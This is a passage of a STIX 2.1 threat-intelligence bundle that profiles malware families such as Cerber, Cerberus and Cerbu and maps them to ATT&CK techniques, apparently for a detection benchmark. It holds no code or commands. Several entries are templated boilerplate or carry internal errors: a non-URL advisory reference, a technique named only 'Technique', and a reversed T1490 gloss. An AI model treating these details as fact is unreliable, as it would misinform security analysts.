          "url": "https://malware-families-catalog.systemhelpdesk.com/families/celesty"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c737a25f-bf10-5849-846f-556b51243310",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--760faa6d-4f89-50a1-8544-be9254f0a4cf",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Celesty exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--417dbad8-f374-56fa-bd86-821da829e7c5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--760faa6d-4f89-50a1-8544-be9254f0a4cf",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Celesty exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--411bcf10-3b3f-5839-9dd5-50aea9be2bf3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Centrumdownloader",
      "description": "Centrumdownloader (cataloged across security vendors and threat intelligence databases under signatures including TrojanDownloader:Win32/Centrumdownloader, Trojan:Win32/CentrumDownloader, and Dropper.Centrum) is a persistent Windows trojan downloader and stager active since 2017. Operating as an initial access broker tool, Centrumdownloader infiltrates endpoints primarily through deceptive freeware installers, weaponized torrent packages, and malicious email links. Upon execution, the malware profiles the host environment to detect sandboxes, establishes startup persistence via Windows Registry Run keys, and drops randomized staging executables into user temporary directories. Centrumdownloader initiates encrypted HTTP communications with remote C2 servers to download secondary high-severity payloads such as banking trojans, ransomware, and information stealers. (Observed samples in benchmark: 38)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/Centrumdownloader",
        "Trojan:Win32/CentrumDownloader",
        "Dropper.Centrum",
        "Win32/Centrumdownloader",
        "TrojanDownloader:Win32/Centrumdownloader.A"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Centrumdownloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/centrumdownloader"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--21b127df-e837-58d8-a03d-47a8b4aa4ebd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Centrumloader",
      "description": "Centrumloader (classified in antivirus detection telemetry under designations including TrojanDownloader:Win32/Centrumloader, TrojanDownloader.Win32.Centrumloader, and Win32/Centrumloader) is a stealthy staging trojan engineered to establish host persistence and download secondary crimeware payloads onto compromised endpoints. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Centrumloader executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include sandbox evasion, staging directory payload extraction, autostart registry configuration, and encrypted HTTP/HTTPS payload delivery. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 12)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "TrojanDownloader:Win32/Centrumloader",
        "TrojanDownloader.Win32.Centrumloader",
        "Win32/Centrumloader"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Centrumloader",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/centrumloader"
        }
      ],
      "labels": [
        "trojan_downloader",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--97d64c42-6b92-5769-a289-ea2ca9143a89",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21b127df-e837-58d8-a03d-47a8b4aa4ebd",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Centrumloader exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9ee664a6-53f6-5f7d-8a91-95e2dfb41756",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21b127df-e837-58d8-a03d-47a8b4aa4ebd",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Centrumloader exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c11dddad-4d1c-5df1-9b75-3f4e5e97d4d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21b127df-e837-58d8-a03d-47a8b4aa4ebd",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Centrumloader exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0094ffee-fff1-5754-a291-a2fbb13f72b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21b127df-e837-58d8-a03d-47a8b4aa4ebd",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Centrumloader exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c2ccc4f1-ed9c-5f82-bcba-5c4465b554f0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21b127df-e837-58d8-a03d-47a8b4aa4ebd",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Centrumloader exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--2d102efa-6d12-59ec-ae54-87358d526e00",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ceram",
      "description": "Ceram (classified in antivirus detection telemetry under designations including Ransom:Win32/Ceram, Ransom.Win32.Ceram, and Win32/Ceram) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Ceram executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Ceram",
        "Downloader.Ceram",
        "Win32/Ceram",
        "Ransom:Win32/Ceram",
        "Ransom.Win32.Ceram"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ceram",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ceram"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9cadd6a0-df5a-5f73-b539-b10ea6e83656",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d102efa-6d12-59ec-ae54-87358d526e00",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ceram exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--400ad726-a33d-5d6f-9bb2-eb3701bd8470",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d102efa-6d12-59ec-ae54-87358d526e00",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ceram exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11b39ce9-09db-5552-87ff-7a492b2f0ae4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2d102efa-6d12-59ec-ae54-87358d526e00",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ceram exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7fe6eed2-0cf1-5905-9905-a68df23c27b8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cerber",
      "description": "Cerber is an influential, early Ransomware-as-a-Service (RaaS) operation that operated with immense commercial success between February 2016 and late 2017. Developed by Russian-speaking cybercriminals, Cerber was rented out to hundreds of affiliates on underground forums, pioneering high-volume automated distribution models via exploit kits (Rig, Magnitude) and massive spam campaigns driven by Dridex botnet loaders.\n\nCerber achieved widespread notoriety for its aggressive psychological intimidation tactics: upon successfully encrypting local storage with AES-256 and RSA-2048 keys, it dropped a VBScript file that interfaced with the Microsoft Speech API (SAPI.SpVoice) to audibly speak out the ransom demand through the victim machine's speakers. Cerber was also notable for its evasion capabilities: it checked victim keyboards against a hardcoded list of former Soviet Union (CIS) language layouts, terminating immediately if detected. Its command and control mechanism utilized a unique UDP broadcast technique, sending encrypted status datagrams to broad subnet ranges to communicate before redirecting victims to Tor payment portals. (Observed samples in benchmark: 1,792)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Cerber",
        "Cerber3",
        "Cerber4",
        "Cerber5",
        "Cerberus_Ransom"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cerber",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cerber"
        },
        {
          "source_name": "cisa-advisory",
          "description": "Official US CISA Cybersecurity Advisory",
          "url": "CISA Alert AA20-302A (Top Routinely Exploited Vulnerabilities)"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--74869e73-df5a-5aaa-aeea-342f7b7b5d68",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7fe6eed2-0cf1-5905-9905-a68df23c27b8",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cerber exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f02b7362-b081-5db4-b505-0e900dcea941",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7fe6eed2-0cf1-5905-9905-a68df23c27b8",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cerber exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dfbfee59-2c37-57c2-8f96-be2a98dca77a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7fe6eed2-0cf1-5905-9905-a68df23c27b8",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cerber exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6fe0f94d-fea6-54f8-bc34-acd99361a19b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7fe6eed2-0cf1-5905-9905-a68df23c27b8",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cerber exhibits technique T1204.002 (User Execution: Malicious File (Relying on the user to execute the unique payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--87e77de0-44ca-587e-9a1e-1efaa685254d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7fe6eed2-0cf1-5905-9905-a68df23c27b8",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cerber exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--701310fb-c2f9-530e-880b-f4aedeafefe7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7fe6eed2-0cf1-5905-9905-a68df23c27b8",
      "target_ref": "attack-pattern--4a2de5a3-e5b3-59c0-9f8f-c714683837e2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cerber exhibits technique T1059.005 (Command and Scripting Interpreter: Visual Basic (VBScript within the ASP file))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--5de90e80-380b-55fe-8db1-ab63191a46cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1124: System Time Discovery",
      "description": "MITRE ATT&CK Technique T1124 (System Time Discovery) under tactic Discovery.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1124",
          "url": "https://attack.mitre.org/techniques/T1124/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6642571-499d-5f37-a950-d346d793694a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7fe6eed2-0cf1-5905-9905-a68df23c27b8",
      "target_ref": "attack-pattern--5de90e80-380b-55fe-8db1-ab63191a46cc",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cerber exhibits technique T1124 (System Time Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--0aa35843-26a9-5d8e-839a-97d584f1c6ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cerberus",
      "description": "Cerberus is a highly sophisticated Android banking Trojan that emerged in 2019, initially operating under a Malware-as-a-Service (MaaS) model on underground forums. It is specifically engineered to steal financial data, including banking credentials, credit card numbers, and bypassing two-factor authentication (2FA). Cerberus achieves this by utilizing Android Accessibility Services to perform overlay attacks, displaying fake login screens over legitimate banking applications to harvest user inputs. Furthermore, it can intercept SMS messages and Google Authenticator codes, effectively neutralizing common multi-factor authentication defenses. In addition to banking fraud, Cerberus functions as a robust RAT, allowing operators to remotely control the infected device, uninstall applications, and lock the screen. In 2020, following a failed auction by its creator, the source code for Cerberus was leaked to the public, leading to a massive proliferation of variants and empowering numerous cybercriminal groups to launch their own customized banking attacks across the globe. (Observed samples in benchmark: 1,500)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Android.Cerberus",
        "Cerberus Banking Trojan"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cerberus",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cerberus"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--f2bd3f33-6cc6-5f01-8c42-dc5ee3ea1d7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1626: Technique",
      "description": "MITRE ATT&CK Technique T1626 (Technique) under tactic Execution.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1626",
          "url": "https://attack.mitre.org/techniques/T1626/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d6b5e7e6-f23f-5c54-b60e-71aa5064fa36",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0aa35843-26a9-5d8e-839a-97d584f1c6ab",
      "target_ref": "attack-pattern--f2bd3f33-6cc6-5f01-8c42-dc5ee3ea1d7a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cerberus exhibits technique T1626 (Technique)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--163d9095-8f7d-5d47-a839-54bd96459830",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1629: Financial Theft: SMS Toll Fraud (Sending premium SMS messages)",
      "description": "MITRE ATT&CK Technique T1629 (Financial Theft: SMS Toll Fraud (Sending premium SMS messages)) under tactic Impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1629",
          "url": "https://attack.mitre.org/techniques/T1629/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--df44a487-39ec-56ac-832e-8550d36f0992",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0aa35843-26a9-5d8e-839a-97d584f1c6ab",
      "target_ref": "attack-pattern--163d9095-8f7d-5d47-a839-54bd96459830",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cerberus exhibits technique T1629 (Financial Theft: SMS Toll Fraud (Sending premium SMS messages))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--7f464fc1-002f-588b-b38d-dd19ebca17d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1628: Abuse Elevation Control Mechanism: Accessibility Features",
      "description": "MITRE ATT&CK Technique T1628 (Abuse Elevation Control Mechanism: Accessibility Features) under tactic Privilege Escalation.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1628",
          "url": "https://attack.mitre.org/techniques/T1628/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--88484b2d-d71b-52db-b9c0-cb0693ba72d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0aa35843-26a9-5d8e-839a-97d584f1c6ab",
      "target_ref": "attack-pattern--7f464fc1-002f-588b-b38d-dd19ebca17d8",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cerberus exhibits technique T1628 (Abuse Elevation Control Mechanism: Accessibility Features)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d46068d9-dd40-5a1c-b4e5-60faca06d360",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cerbu",
      "description": "Cerbu (cataloged across security vendors under detections including Backdoor:Win32/Cerbu, Trojan:Win32/Cerbu, and Win32/Cerbu) is a covert Windows remote access trojan and backdoor active since 2013. Infiltrating endpoints primarily through deceptive freeware installers, weaponized phishing email attachments, and compromised website drive-by downloads, Cerbu establishes unauthorized background access to victim machines. Upon execution, Cerbu copies its executable stub into hidden user directories (such as %AppData% or %Temp%) and secures persistence via Windows Registry Run keys and scheduled tasks. The backdoor establishes encrypted command-and-control communication with attacker-controlled servers, allowing unauthorized operators to execute arbitrary shell commands, exfiltrate confidential files, harvest web browser credentials and session tokens, log user keystrokes, and download secondary malware frameworks. (Observed samples in benchmark: 84)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Cerbu",
        "Trojan:Win32/Cerbu",
        "Win32/Cerbu"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cerbu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cerbu"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2687b2a1-778b-5a23-b9ba-3a39d8a6feb0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d46068d9-dd40-5a1c-b4e5-60faca06d360",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cerbu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--92eaede8-2de4-5e03-b6a2-2c02d61f887f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d46068d9-dd40-5a1c-b4e5-60faca06d360",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cerbu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e602753d-f417-5e78-81fd-67f7228ae57e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d46068d9-dd40-5a1c-b4e5-60faca06d360",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cerbu exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--39526a4f-b8c7-5ed7-a6a9-796752735c45",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d46068d9-dd40-5a1c-b4e5-60faca06d360",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cerbu exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--07b2c5d5-9d09-53a3-8353-c79197539bee",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d46068d9-dd40-5a1c-b4e5-60faca06d360",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cerbu exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3bbf08d2-1bc4-5151-a890-79c5ad68e4a3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Cfms",
      "description": "Cfms (classified in antivirus detection telemetry under designations including Ransom:Win32/Cfms, Ransom.Win32.Cfms, and Win32/Cfms) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Cfms executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Cfms",
        "Downloader.Cfms",
        "Win32/Cfms",
        "Ransom:Win32/Cfms",
        "Ransom.Win32.Cfms"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Cfms",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/cfms"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bcb0af75-9760-57c9-a703-40e2927bd865",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3bbf08d2-1bc4-5151-a890-79c5ad68e4a3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cfms exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e0886775-1588-5435-9c84-49eeddc15686",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3bbf08d2-1bc4-5151-a890-79c5ad68e4a3",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cfms exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c1a046d6-e982-5500-b12d-8d1d4cf96f74",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3bbf08d2-1bc4-5151-a890-79c5ad68e4a3",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Cfms exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
